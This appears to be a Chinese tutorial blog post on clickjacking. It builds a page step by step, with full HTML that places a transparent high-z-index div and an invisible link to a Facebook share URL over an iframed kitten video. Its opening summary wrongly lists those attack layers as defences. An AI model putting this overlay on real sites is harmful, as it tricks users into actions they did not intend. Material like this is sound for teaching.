有趣的漏洞原理——点击劫持（可爱的小猫居然想要和你吹一瓶？）

最新推荐文章于 2025-11-27 00:03:34 发布

原创最新推荐文章于 2025-11-27 00:03:34 发布 · 482 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#html5 #html #php #点击劫持 #漏洞原理

常见漏洞原理专栏收录该内容

4 篇文章

订阅专栏

点击劫持是一种网络攻击手段，通过伪装链接诱导用户执行恶意操作。攻击者利用透明iframe和高z-index实现。防范措施包括在页面添加透明div层和无形链接，以及设置X-Frame-Options HTTP头部，阻止页面在框架中加载。点击劫持可能危及用户登录凭证、隐私和设备安全。预防措施对于保护网络安全至关重要。

环境介绍

点击劫持是一种通过将链接伪装成其他东西来诱使网站用户点击有害链接的方法。
点击劫持攻击诱使网络用户执行他们不打算执行的操作，通常是通过在用户认为他们正在执行的操作之上呈现一个不可见的页面元素。

网页里有个小猫的视频，点击它会正常开始播放视频

在这里插入图片描述

进入正题

假设你的代码是下面这样。

<html>
  <head>
    <style>
      body {
        position: relative;
        margin: 0;
      }

      iframe {
        border: none;
        position: absolute;
        width: 100%;
        height: 100%;
      }
    </style>
  </head>
  <body>
    <iframe src="www.kittens.com/vacuum-revenge">
    </iframe>
  </body>
</html>

一些黑客会利用相似的站点来伪装，比如
www.k1tt3ns.com/vacuum-revenge

搞定它

在页面上面加一个透明的div标签

..带有透明的 DIV 覆盖 ...
<html>
  <head>
    <style>
      body {
        position: relative;
        margin: 0;
      }

      iframe, div {
        border: none;
        position: absolute;
        width: 100%;
        height: 100%;
      }

      div {
        z-index: 100;
      }
    </style>
  </head>
  <body>
    <iframe src="www.kittens.com/vacuum-revenge">
    </iframe>
    <div></div>
  </body>
</html>

再加上一个无形的链接，把要跳转的链接加进去

<html>
  <head>
    <style>
      body {
        position: relative;
        margin: 0;
      }

      iframe, div, a {
        border: none;
        position: absolute;
        width: 100%;
        height: 100%;
      }

      div {
        z-index: 100;
      }

      a {
        display: block;
      }
    </style>
  </head>
  <body>
    <iframe src="www.kittens.com/vacuum-revenge">
    </iframe>
    <div>
      &lt;a href=&quot;https://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2Fwww.fakewebsite.com&quot;&gt;&lt;/a&gt;
    </div>
  </body>
</html>